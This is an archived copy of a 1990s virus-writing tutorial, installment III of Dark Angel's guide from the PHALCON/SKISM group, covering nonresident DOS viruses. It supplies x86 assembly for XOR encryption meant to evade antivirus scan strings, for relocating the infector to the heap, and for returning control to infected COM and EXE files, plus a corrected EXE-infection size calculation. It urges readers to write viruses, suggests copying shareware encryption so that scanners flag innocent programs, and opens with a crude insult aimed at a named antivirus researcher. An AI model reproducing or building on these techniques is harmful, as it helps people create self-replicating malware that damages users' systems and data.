💾 Archived View for spam.works › mirrors › textfiles › virus › ps-vir3.txt captured on 2023-06-16 at 21:04:03.

View Raw

More Information

-=-=-=-=-=-=-

      //==//  //  //  /||      //      //====  //==//  //|   //
     //  //  //  //  //||     //      //      //  //  //||  //
    //==//  //==//  //=||    //      //      //  //  // || //
   //      //  //  //  ||   //      //      //  //  //  ||//
  //      //  //  //   ||  //====  //====  //==//  //   ||/
  
     /====   // //     //  /====   /|   /|
    //      // //     //  //      //|  //|
    ===\   // //     //   ===\   //|| //||
      //  //  \\    //      //  // ||// ||
  ====/  //    \\  //   ====/  //  ||/  ||
  
  ???????????????????????????????????????????????
  DISCLAIMER: I hereby claim to have written this
    file.
  ???????????????????????????????????????????????
  DEDICATION: This is dedicated to Patty Hoffman,
    that fat bitch who doesn't know her own name,
    and to the millions of dumb fools who were so
    scared by Michelangelo that they didn't touch
    their computers for an entire day.
  ???????????????????????????????????????????????
  GREETS: to all PHALCON/SKISM members especially
    Garbageheap, Hellraiser, and Demogorgon.
  ???????????????????????????????????????????????
  
  Dark Angel's Crunchy Virus Writing Guide
  ???? ??????? ??????? ????? ??????? ?????
       "It's the right thing to do"
  
  ????????????????????????????????????????????
  INSTALLMENT III:  NONRESIDENT VIRII, PART II
  ????????????????????????????????????????????
  
  Welcome to  the third  installment of  my Virus  Writing  Guide.    In  the
  previous installment,  I covered  the primary  part  of  the  virus  -  the
  replicator.   As promised,  I shall  now cover  the rest of the nonresident
  virus and  present code  which, when  combined with  code from the previous
  installment, will  be sufficient  to allow  anyone to write a simple virus.
  Additionally, I  will present  a few  easy tricks  and tips  which can help
  optimise your code.
  
  ?????????????
  THE CONCEALER
  ?????????????
  The concealer  is the  most common  defense  virus  writers  use  to  avoid
  detection of  virii.   The most common encryption/decryption routine by far
  is the XOR, since it may be used for both encryption and decryption.
  
  encrypt_val   dw   ?   ; Should be somewhere in decrypted area
  
  decrypt:
  encrypt:
       mov dx, word ptr [bp+encrypt_val]
       mov cx, (part_to_encrypt_end - part_to_encrypt_start + 1) / 2
       lea si, [bp+part_to_encrypt_start]
       mov di, si
  
  xor_loop:
       lodsw
       xor ax, dx
       stosw
       loop xor_loop
  
  The previous  routine uses  a simple XOR routine to encrypt or decrypt code
  in memory.   This  is essentially  the same routine as the one in the first
  installment, except  it encrypts words rather than bytes.  It therefore has
  65,535 mutations  as opposed  to 255 and is also twice as fast.  While this
  routine is  simple to  understand, it  leaves much  to be  desired as it is
  large and therefore is almost begging to be a scan string.  A better method
  follows:
  
  encrypt_val   dw    ?
  
  decrypt:
  encrypt:
       mov dx, word ptr [bp+encrypt_val]
       lea bx, [bp+part_to_encrypt_start]
       mov cx, (part_to_encrypt_end - part_to_encrypt_start + 1) / 2
  
  xor_loop:
       xor word ptr [bx], dx
       add bx, 2
       loop xor_loop
  
  Although this  code is  much shorter,  it is possible to further reduce its
  size.   The best  method is  to insert the values for the encryption value,
  BX, and CX, in at infection-time.
  
  decrypt:
  encrypt:
       mov bx, 0FFFFh
       mov cx, 0FFFFh
  
  xor_loop:
       xor word ptr [bx], 0FFFFh
       add bx, 2
       loop xor_loop
  
  All the  values denoted  by 0FFFFh  may be changed upon infection to values
  appropriate for  the infected  file.  For example, BX should be loaded with
  the offset  of part_to_encrypt_start  relative to the start of the infected
  file when the encryption routine is written to the infected file.
  
  The primary  advantage of  the code  used above is the minimisation of scan
  code length.   The scan code can only consist of those portions of the code
  which remain  constant.   In this  case,  there  are  only  three  or  four
  consecutive bytes  which remain  constant.   Since  the  entire  encryption
  consist of only about a dozen bytes, the size of the scan code is extremely
  tiny.
  
  Although the  function of  the encryption  routine is  clear,  perhaps  the
  initial encryption  value and  calculation of  subsequent values  is not as
  lucid.  The initial value for most XOR encryptions should be 0.  You should
  change the  encryption value  during  the  infection  process.    A  random
  encryption value  is desired.   The  simplest method  of obtaining a random
  number is  to consult  to internal  clock.   A random  number may be easily
  obtained with a simple:
  
          mov     ah, 2Ch                         ; Get me a random number.
          int     21h
          mov     word ptr [bp+encrypt_val], dx   ; Can also use CX
  
  Some encryption  functions do not facilitate an initial value of 0.  For an
  example, take  a look  at Whale.  It uses the value of the previous word as
  an encryption  value.   In these  cases, simply  use a JMP to skip past the
  decryption routine  when coding  the virus.   However, make sure infections
  JMP to  the right location!  For example, this is how you would code such a
  virus:
  
          org     100h
  
  start:
          jmp     past_encryption
  
  ; Insert your encryption routine here
  
  past_encryption:
  
  The encryption  routine is  the ONLY  part of  the virus  which needs to be
  unencrypted.   Through code-moving  techniques, it  is possible to copy the
  infection mechanism  to the  heap (memory location past the end of the file
  and before  the stack).   All  that is required is a few MOVSW instructions
  and one  JMP.   First the  encryption routine  must  be  copied,  then  the
  writing, then  the decryption,  then the  RETurn back  to the program.  For
  example:
  
       lea si, [bp+encryption_routine]
       lea di, [bp+heap]
       mov cx, encryption_routine_size
       push si
       push cx
       rep movsb
  
       lea si, [bp+writing_routine]
       mov cx, writing_routine_size
       rep movsb
  
       pop cx
       pop si
       rep movsb
  
       mov al, 0C3h                             ; Tack on a near return
       stosb
  
       call [bp+heap]
  
  Although most  virii, for  simplicity's sake, use the same routine for both
  encryption  and  decryption,  the  above  code  shows  this  is  completely
  unnecessary.   The only  modification of  the above code for inclusion of a
  separate decryption  routine is to take out the PUSHes and replace the POPs
  with the appropriate LEA si and MOV cx.
  
  Original encryption  routines, while  interesting, might  not be  the best.
  Stolen encryption  routines are  the best,  especially  those  stolen  from
  encrypted shareware  programs!   Sydex is notorious for using encryption in
  their shareware  programs.   Take a  look at  a  shareware  program's  puny
  encryption and  feel free  to copy  it into your own.  Hopefully, the anti-
  viral developers  will create  a scan string which will detect infection by
  your virus in shareware products simply because the encryption is the same.
  
  Note that  this is  not a  full treatment  of concealment routines.  A full
  text file could be written on encryption/decryption techniques alone.  This
  is only  the simplest  of all  possible encryption techniques and there are
  far more  concealment techniques  available.  However, for the beginner, it
  should suffice.
  
  ??????????????
  THE DISPATCHER
  ??????????????
  The dispatcher  is the  portion of the virus which restores control back to
  the infected  program.    The  dispatchers  for  EXE  and  COM  files  are,
  naturally, different.
  
  In COM  files, you  must restore  the bytes  which were overwritten by your
  virus and  then transfer  control back  to CS:100h,  which is where all COM
  files are initially loaded.
  
  RestoreCOM:
       mov di, 100h                     ; We are copying to the beginning
       lea si, [bp+savebuffer]          ; We are copying from our buffer
       push di                          ; Save offset for return (100h)
       movsw                            ; Mo efficient than mov cx, 3, movsb
       movsb                            ; Alter to meet your needs
       retn                             ; A JMP will also work
  
  EXE files  require simply  the restoration of the stack segment/pointer and
  the code segment/instruction pointer.
  
  ExeReturn:
          mov     ax, es                           ; Start at PSP segment
          add     ax, 10h                          ; Skip the PSP
          add     word ptr cs:[bp+ExeWhereToJump+2], ax
          cli
          add     ax, word ptr cs:[bp+StackSave+2] ; Restore the stack
          mov     ss, ax
          mov     sp, word ptr cs:[bp+StackSave]
          sti
          db      0eah                             ; JMP FAR PTR SEG:OFF
  ExeWhereToJump:
          dd      0
  StackSave:
          dd      0
  
  ExeWhereToJump2 dd 0
  StackSave2      dd 0
  
  Upon  infection,   the  initial   CS:IP  and  SS:SP  should  be  stored  in
  ExeWhereToJump2 and StackSave2, respectively.  They should then be moved to
  ExeWhereToJump and  StackSave before  restoration of  the  program.    This
  restoration may be easily accomplished with a series of MOVSW instructions.
  
  Some like  to clear all the registers prior to the JMP/RET, i.e. they issue
  a bunch  of XOR  instructions.   If you  feel happy  and wish to waste code
  space, you are welcome to do this, but it is unnecessary in most instances.
  
  ????????
  THE BOMB
  ????????
  
    "The horror!  The horror!"
       - Joseph Conrad, The Heart of Darkness
  
  What goes through the mind of a lowly computer user when a virus activates?
  What terrors  does the unsuspecting victim undergo as the computer suddenly
  plays a  Nazi tune?  How awful it must be to lose thousands of man-hours of
  work in an instant!
  
  Actually, I  do not  support wanton destruction of data and disks by virii.
  It serves  no purpose  and usually  shows little imagination.  For example,
  the world-famous Michelangelo virus did nothing more than overwrite sectors
  of the  drive with  data taken at random from memory.  How original.  Yawn.
  Of course,  if you  are hell-bent  on destruction, go ahead and destroy all
  you want,  but just  remember that this portion of the virus is usually the
  only part  seen by  "end-users" and distinguishes it from others.  The best
  examples to date include: Ambulance Car, Cascade, Ping Pong, and Zero Hunt.
  Don't forget the PHALCON/SKISM line, especially those by me (I had to throw
  in a plug for the group)!
  
  As you  can see,  there's no  code to  speak of in this section.  Since all
  bombs should be original, there isn't much point of putting in the code for
  one, now  is there!   Of course, some virii don't contain any bomb to speak
  of.   Generally speaking,  only those  under about  500 bytes  lack  bombs.
  There is no advantage of not having a bomb other than size considerations.
  
  ?????????
  MEA CULPA
  ?????????
  I regret  to inform  you that  the  EXE  infector  presented  in  the  last
  installment was  not quite  perfect.   I admit  it.   I made  a mistake  of
  colossal proportions   The  calculation of  the file size and file size mod
  512 was screwed up.  Here is the corrected version:
  
  ; On entry, DX:AX hold the NEW file size
  
          push    ax                          ; Save low word of filesize
          mov     cl, 9                       ; 2^9 = 512
          shr     ax, cl                      ; / 512
          ror     dx, cl                      ; / 512 (sort of)
          stc                                 ; Check EXE header description
                                              ; for explanation of addition
          adc     dx, ax                      ; of 1 to the DIV 512 portion
          pop     ax                          ; Restore low word of filesize
          and     ah, 1                       ; MOD 512
  
  This results  in the file size / 512 + 1 in DX and the file size modulo 512
  in AX.   The  rest remains  the same.  Test your EXE infection routine with
  Microsoft's LINK.EXE,  since it  won't run  unless  the  EXE  infection  is
  perfect.
  
  I have  saved you  the trouble  and smacked myself upside the head for this
  dumb error.
  
  ???????????????
  TIPS AND TRICKS
  ???????????????
  So now  all the  parts of  the nonresident  virus have been covered.  Yet I
  find myself  left with several more K to fill.  So, I shall present several
  simple techniques anyone can incorporate into virii to improve efficiency.
  
  1.   Use the heap
       The heap  is the memory area between the end of code and the bottom of
       the stack.   It can be conveniently treated as a data area by a virus.
       By moving  variables to the heap, the virus need not keep variables in
       its code,  thereby reducing  its length.  Note that since the contents
       heap are  not part  of the  virus, only  temporary variables should be
       kept there,  i.e. the  infection routine  should not count the heap as
       part of  the virus as that would defeat the entire purpose of its use.
       There are two ways of using the heap:
       
       ; First method
       
       EndOfVirus:
       Variable1 equ $
       Variable2 equ Variable1 + LengthOfVariable1
       Variable3 equ Variable2 + LengthOfVariable2
       Variable4 equ Variable3 + LengthOfVariable3
       
       ; Example of first method
       
       EndOfVirus:
       StartingDirectory = $
       TemporaryDTA      = StartingDirectory + 64
       FileSize          = TemporaryDTA + 42
       Flag              = FileSize + 4
       
       ; Second method
       
       EndOfVirus:
       Variable1 db LengthOfVariable1 dup (?)
       Variable2 db LengthOfVariable2 dup (?)
       Variable3 db LengthOfVariable3 dup (?)
       Variable4 db LengthOfVariable4 dup (?)
       
       ; Example of second method
       EndOfVirus:
       StartingDirectory db 64 dup (?)
       TemporaryDTA      db 42 dup (?)
       FileSize          dd ?
       Flag              db ?
       
       The two  methods differ  slightly.   By using  the first  method,  you
       create a  file which  will be  the exact  length of  the  virus  (plus
       startup  code).     However,  when  referencing  the  variables,  size
       specifications such as BYTE PTR, WORD PTR, DWORD PTR, etc. must always
       be used  or the  assembler will  become befuddled.   Secondly,  if the
       variables need  to be  rearranged for some reason, the entire chain of
       EQUates will  be destroyed  and must  be rebuilt.   Virii  coded  with
       second method  do not need size specifications, but the resulting file
       will be  larger than  the actual size of the virus.  While this is not
       normally a  problem, depending on the reinfection check, the virus may
       infect the  original file  when run.   This  is not  a big disability,
       especially considering the advantages of this method.
       
       In any  case, the  use of  the heap  can greatly  lessen the effective
       length of the virus code and thereby make it much more efficient.  The
       only thing  to watch  out for  is infecting  large COM files where the
       heap will  "wrap around"  to offset  0 of the same segment, corrupting
       the PSP.   However,  this problem is easily avoided.  When considering
       whether a  COM file is too large to infect for this reason, simply add
       the temporary variable area size to the virus size for the purposes of
       the check.
  
  2.   Use procedures
       Procedures are  helpful in  reducing the  size of  the virus, which is
       always a  desired goal.   Only  use procedures if they save space.  To
       determine the amount of bytes saved by the use of a procedure, use the
       following formula:
       
       Let PS = the procedure size, in bytes
       bytes saved = (PS - 4) * number invocations - PS
       
       For example, the close file procedure,
       
       close_file:
         mov ah, 3eh      ; 2 bytes
         int 21h          ; 2 bytes
         ret              ; 1 byte
                          ; PS = 2+2+1 = 5
       
       is only  viable if  it is used 6 or more times, as (5-4)*6 - 5 = 1.  A
       whopping savings of one (1) byte!  Since no virus closes a file in six
       different places,  the close  file procedure  is clearly  useless  and
       should be avoided.
       
       Whenever  possible,  design  the  procedures  to  be  as  flexible  as
       possible.   This is the chief reason why Bulgarian coding is so tight.
       Just take  a look  at the source for Creeping Death.  For example, the
       move file pointer procedure:
       
       go_eof:
         mov al, 2
       move_fp:
         xor dx, dx
       go_somewhere:
         xor cx, cx
         mov ah, 42h
         int 21h
         ret
       
       The function  was build  with flexibility  in mind.   With  a CALL  to
       go_eof, the  procedure will  move the  file pointer  to the end of the
       file.   A CALL  to move_fp  with AL set to 0, the file pointer will be
       reset.   A CALL  to go_somewhere  with DX and AL set, the file pointer
       may be  moved anywhere  within the  file.   If the  function  is  used
       heavily, the savings could be enormous.
  
  3.   Use a good assembler and debugger
       The best  assembler I have encountered to date is Turbo Assembler.  It
       generates tight  code extremely  quickly.    Use  the  /m2  option  to
       eliminate all  placeholder NOPs  from the  code.   The advantages  are
       obvious - faster development and smaller code.
       
       The best  debugger is  also made  by Borland,  the king of development
       tools.   Turbo Debugger  has so many features that you might just want
       to buy  it so  you can  read the  manual!  It can bypass many debugger
       traps with ease and is ideal for testing.  Additionally, this debugger
       has 286  and 386  specific protected  mode versions, each of which are
       even more powerful than their real mode counterparts.
  
  4.   Don't use MOV instead of LEA
       When writing your first virus, you may often forget to use LEA instead
       of MOV  when loading  offsets.  This is a serious mistake and is often
       made by  beginning virus  coders.   The  harmful  effects  of  such  a
       grevious error  are immediately obvious.  If the virus is not working,
       check for  this bug.   It's  almost as hard to catch as a NULL pointer
       error in C.
  
  5.   Read the latest issues of 40Hex
       40Hex, PHALCON/SKISM's  official journal of virus techniques and news,
       is a publication not to be missed by any self-respecting virus writer.
       Each issue  contains techniques  and source code, designed to help all
       virus writers,  be they  beginners or  experts.  Virus-related news is
       also published.  Get it, read it, love it, eat it!
  
  ??????
  SO NOW
  ??????
  you have  all the  code and information sufficient to write a viable virus,
  as well  as a  wealth of  techniques to  use.   So stop  reading and  start
  writing!   The only  way to  get better  is through practise.  After two or
  three tries, you should be well on your way to writing good virii.